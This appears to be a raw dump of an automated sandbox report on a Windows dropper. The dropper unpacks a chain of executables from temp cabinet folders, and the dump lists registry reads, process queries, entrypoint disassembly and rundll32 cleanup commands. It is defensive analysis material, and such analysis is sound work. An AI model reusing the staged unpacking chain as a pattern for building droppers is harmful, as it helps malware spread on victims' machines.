"%WINDIR%\SysWOW64\bcrypt.dll" at 73400000 "EL8Vj91.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75160000 "EL8Vj91.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73400000 "Wg1zV34.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75160000 "Wg1zV34.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73400000 "kH1Br77.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75160000 "kH1Br77.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73400000 "1Of31Ad0.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75160000 "1Of31Ad0.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73400000 "AppLaunch.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75160000 "AppLaunch.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73400000 "2vl5433.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75160000 "2vl5433.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73400000 "3YF75jT.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75160000 "3YF75jT.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 734000003d:T1388,"3b567ed788b8d07ec909035f6147abd3.exe" was detected as "Microsoft Cabinet" and name: "sfx" "3b567ed788b8d07ec909035f6147abd3.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "3b567ed788b8d07ec909035f6147abd3.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "3b567ed788b8d07ec909035f6147abd3.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "3b567ed788b8d07ec909035f6147abd3.exe" was detected as "Microsoft Linker" and name: "Linker" "RN3xu93.exe" was detected as "Microsoft Cabinet" and name: "sfx" "RN3xu93.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "RN3xu93.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "RN3xu93.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "RN3xu93.exe" was detected as "Microsoft Linker" and name: "Linker" "dj4qK45.exe" was detected as "Microsoft Cabinet" and name: "sfx" "dj4qK45.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "dj4qK45.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "dj4qK45.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "dj4qK45.exe" was detected as "Microsoft Linker" and name: "Linker" "4wt454Ls.exe" was detected as "Microsoft Cabinet" and name: "sfx" "4wt454Ls.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "4wt454Ls.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "4wt454Ls.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "4wt454Ls.exe" was detected as "Microsoft Linker" and name: "Linker" "2vl5433.exe" was detected as "Microsoft Cabinet" and name: "sfx" "2vl5433.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "2vl5433.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "2vl5433.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "2vl5433.exe" was detected as "Microsoft Linker" and name: "Linker" "EL8Vj91.exe" was detected as "Microsoft Cabinet" and name: "sfx" "EL8Vj91.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "EL8Vj91.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "EL8Vj91.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "EL8Vj91.exe" was detected as "Microsoft Linker" and name: "Linker" "1Of31Ad0.exe" was detected as "Microsoft Cabinet" and name: "sfx" "1Of31Ad0.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "1Of31Ad0.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "1Of31Ad0.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "1Of31Ad0.exe" was detected as "Microsoft Linker" and name: "Linker" "Wg1zV34.exe" was detected as "Microsoft Cabinet" and name: "sfx" "Wg1zV34.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "Wg1zV34.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "Wg1zV34.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "Wg1zV34.exe" was detected as "Microsoft Linker" and name: "Linker" "kH1Br77.exe" was detected as "Microsoft Cabinet" and name: "sfx" "kH1Br77.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "kH1Br77.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "kH1Br77.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "kH1Br77.exe" was detected as "Microsoft Linker" and name: "Linker" "5bF4ZE9.exe" was detected as "Microsoft Cabinet" and name: "sfx" "5bF4ZE9.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "5bF4ZE9.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "5bF4ZE9.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "5bF4ZE9.exe" was detected as "Microsoft Linker" and name: "Linker" "6Ju7HU6.exe" was detected as "Microsoft Cabinet" and name: "sfx" "6Ju7HU6.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "6Ju7HU6.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "6Ju7HU6.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "6Ju7HU6.exe" was detected as "Microsoft Linker" and name: "Linker" "7jw3kC52.exe" was detected as "Microsoft Cabinet" and name: "sfx" "7jw3kC52.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "7jw3kC52.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "7jw3kC52.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "7jw3kC52.exe" was detected as "Microsoft Linker" and name: "Linker" "3YF75jT.exe" was detected as "Microsoft Cabinet" and name: "sfx" "3YF75jT.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "3YF75jT.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "3YF75jT.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "3YF75jT.exe" was detected as "Microsoft Linker" and name: "Linker"3e:T19bb,"3b567ed788b8d07ec909035f6147abd3.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "RN3xu93.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "dj4qK45.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "4wt454Ls.exe" file has an entrypoint instructions - "jmp 0x4411c9,jmp 0x458082,jmp 0x449850,jmp 0x433f4c,jmp 0x415ef0,jmp 0x4a3900,jmp 0x4344ed,jmp 0x458e65,jmp 0x4ab3d9,jmp 0x41a866,jmp 0x442328,jmp 0x4521f0,jmp 0x429ca7,jmp 0x4765ef,jmp 0x419eda,jmp 0x412b10,jmp 0x491693,jmp 0x412c40,jmp 0x4535b5,jmp 0x470424," "2vl5433.exe" file has an entrypoint instructions - "jmp 0x4411c9,jmp 0x458082,jmp 0x449850,jmp 0x433f4c,jmp 0x415ef0,jmp 0x4a3900,jmp 0x4344ed,jmp 0x458e65,jmp 0x4ab3d9,jmp 0x41a866,jmp 0x442328,jmp 0x4521f0,jmp 0x429ca7,jmp 0x4765ef,jmp 0x419eda,jmp 0x412b10,jmp 0x491693,jmp 0x412c40,jmp 0x4535b5,jmp 0x470424," "EL8Vj91.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "1Of31Ad0.exe" file has an entrypoint instructions - "jmp 0x4411c9,jmp 0x458082,jmp 0x449850,jmp 0x433f4c,jmp 0x415ef0,jmp 0x4a3900,jmp 0x4344ed,jmp 0x458e65,jmp 0x4ab3d9,jmp 0x41a866,jmp 0x442328,jmp 0x4521f0,jmp 0x429ca7,jmp 0x4765ef,jmp 0x419eda,jmp 0x412b10,jmp 0x491693,jmp 0x412c40,jmp 0x4535b5,jmp 0x470424," "Wg1zV34.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "kH1Br77.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "5bF4ZE9.exe" file has an entrypoint instructions - "call 0x414888,jmp 0x41427f,jmp 0x4186fa,push ebp,mov ebp, esp,sub esp, 0x324,push ebx,push 0x17,call 0x4273e3,test eax, eax,je 0x41442a,mov ecx, dword ptr [ebp + 8],int 0x29,push 3,call 0x4145d7,mov dword ptr [esp], 0x2cc,lea eax, [ebp - 0x324],push 0,push eax,call 0x414ec0,add esp, 0xc,mov dword ptr [ebp - 0x274], eax,mov dword ptr [ebp - 0x278], ecx,mov dword ptr [ebp - 0x27c], edx,mov dword ptr [ebp - 0x280], ebx," "6Ju7HU6.exe" file has an entrypoint instructions - "call 0x4014e9,jmp 0x4010c5,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi,mov ecx, dword ptr [eax + 0x3c],add ecx, eax,movzx eax, word ptr [ecx + 0x14],lea edx, [ecx + 0x18],add edx, eax,movzx eax, word ptr [ecx + 6],imul esi, eax, 0x28,add esi, edx,cmp edx, esi,je 0x401286,mov ecx, dword ptr [ebp + 0xc],cmp ecx, dword ptr [edx + 0xc],jb 0x40127f,mov eax, dword ptr [edx + 8],add eax, dword ptr [edx + 0xc],cmp ecx, eax,jb 0x40128b,add edx, 0x28,cmp edx, esi,jne 0x401270,xor eax, eax,pop esi,pop ebp,ret ,mov eax, edx,jmp 0x401288,push esi,call 0x401a29,test eax, eax,je 0x4012b9,mov eax, dword ptr fs:[0x18],mov esi, 0x42cd34," "7jw3kC52.exe" file has an entrypoint instructions - "push 0xac,push 0,push 0x418068,call 0x405070,add esp, 0xc,push 0,call 0x405076,mov dword ptr [0x41806c], eax,push 0,push 0x1000,push 0,call 0x40507c,mov dword ptr [0x418068], eax,call 0x405000,mov eax, 0x41707c,mov dword ptr [0x41808c], eax,call 0x40e4d0,call 0x40e23d,call 0x40b120,call 0x40a9a9," "3YF75jT.exe" file has an entrypoint instructions - "call 0x403249,jne 0x40324f,je 0x40324f,mov esp, 0x241c8b55,add esp, 4,jmp 0x403261,inc eax,sub ebx, 0x3249,jmp 0x403265,and ch, bl,cmc ,inc eax,and dh, byte ptr [ebp + eax + 0x75],add ecx, dword ptr [esi - 0x49],jecxz 0x4032d7,xor byte ptr [ebp + 5], dh,je 0x403275,sbb ebp, dword ptr [esi + 0x6eb5abe],dec esp,sub eax, eax,jmp 0x403282,sub bl, ch,stc ,dec esp,sub bl, ch,add eax, 0xf1928a88,mov byte ptr [ebx + eax + 2], ah,je 0x403295,jne 0x403295,cmp bl, dh,fcomp qword ptr [ebp + edx*8 + 0xa4b0ff],add byte ptr [eax], al,jne 0x4032a1,je 0x4032a1,jne 0x403255,add esp, 4,mov ecx, dword ptr [esp - 4],"3f:T704,"3b567ed788b8d07ec909035f6147abd3.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "3b567ed788b8d07ec909035f6147abd3.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "3b567ed788b8d07ec909035f6147abd3.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "RN3xu93.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "RN3xu93.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "RN3xu93.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "dj4qK45.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "dj4qK45.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "dj4qK45.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "EL8Vj91.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "EL8Vj91.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "EL8Vj91.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Wg1zV34.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "Wg1zV34.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Wg1zV34.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "kH1Br77.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "kH1Br77.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "kH1Br77.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1Of31Ad0.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY")40:Tca7,Observed system executable string:"1,"fusion","GAC",01,"WinRT","NotApp",13,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",0" [Source: AppLaunch.exe.log] Observed system executable string:"3,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",0" [Source: AppLaunch.exe.log] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00000148-00000C25-52380284] Observed system executable string:"%WINDIR%\system32\advpack.dll" [Source: 00000000-00000148-00000C25-52507705] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00000148-00000BC1-52536932] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 00000000-00005696-00000BC1-53189168] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00004444-00000BC1-53882620] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"" [Source: 00000000-00002900-00000BC1-54589223] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"" [Source: 00000000-00005896-00000BC1-55198654] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP005.TMP\"" [Source: 00000000-00007688-00000BC1-55810853] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00006544-00000C25-57860415] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00006544-00000C25-58665040] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00006544-00000C25-58831361] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00006544-00000C25-59037446] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00006544-00000C25-59241197] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00006544-00000C25-59406810] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00006544-00000C25-59483485] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00006544-00000C25-59878508] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00006544-00000C25-59991200] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00006544-00000C25-60729598]41:T41d,"3b567ed788b8d07ec909035f6147abd3.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "RN3xu93.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "dj4qK45.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "4wt454Ls.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "2vl5433.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "EL8Vj91.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "1Of31Ad0.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "Wg1zV34.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "kH1Br77.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "5bF4ZE9.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "6Ju7HU6.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "7jw3kC52.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "3YF75jT.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE42:T77c,"RN3xu93.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\RN3xu93.exe]- [targetUID: 00000000-00000148] "dj4qK45.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\dj4qK45.exe]- [targetUID: 00000000-00004444] "4wt454Ls.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\4wt454Ls.exe]- [targetUID: 00000000-00002900] "2vl5433.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\2vl5433.exe]- [targetUID: 00000000-00007688] "EL8Vj91.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\EL8Vj91.exe]- [targetUID: 00000000-00002900] "1Of31Ad0.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\1Of31Ad0.exe]- [targetUID: 00000000-00005504] "Wg1zV34.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\Wg1zV34.exe]- [targetUID: 00000000-00002900] "kH1Br77.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\kH1Br77.exe]- [targetUID: 00000000-00005896] "5bF4ZE9.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\5bF4ZE9.exe]- [targetUID: 00000000-00004444] "6Ju7HU6.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\6Ju7HU6.exe]- [targetUID: 00000000-00005696] "7jw3kC52.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\7jw3kC52.exe]- [targetUID: 00000000-00000148] "3YF75jT.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: 00000000-00005896] "AppLaunch.exe.log" has type "CSV text"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\AppLaunch.exe.log]- [targetUID: 00000000-00006544]43:T64a,"3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: ""; Value: "")44:T698,"3b567ed788b8d07ec909035f6147abd3.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\RN3xu93.exe" (UID: 148) "RN3xu93.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\dj4qK45.exe" (UID: 5696) "dj4qK45.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\EL8Vj91.exe" (UID: 4444) "EL8Vj91.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\Wg1zV34.exe" (UID: 2900) "Wg1zV34.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\kH1Br77.exe" (UID: 5896) "Wg1zV34.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\3YF75jT.exe" (UID: 5896) "kH1Br77.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\1Of31Ad0.exe" (UID: 7688) "kH1Br77.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\2vl5433.exe" (UID: 7688) "1Of31Ad0.exe" queries basic process information of the "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (UID: 5504) "AppLaunch.exe" queries basic process information of the "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (UID: 6544) "AppLaunch.exe" queries basic process information of the "C:\Windows\System32\winlogon.exe" (UID: 6544) "AppLaunch.exe" queries basic process information of the "C:\Windows\servicing\TrustedInstaller.exe" (UID: 6544) "2vl5433.exe" queries basic process information of the "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (UID: 6316)45:Tc75,"3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "3B567ED788B8D07EC909035F6147ABD3.EXE"; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS 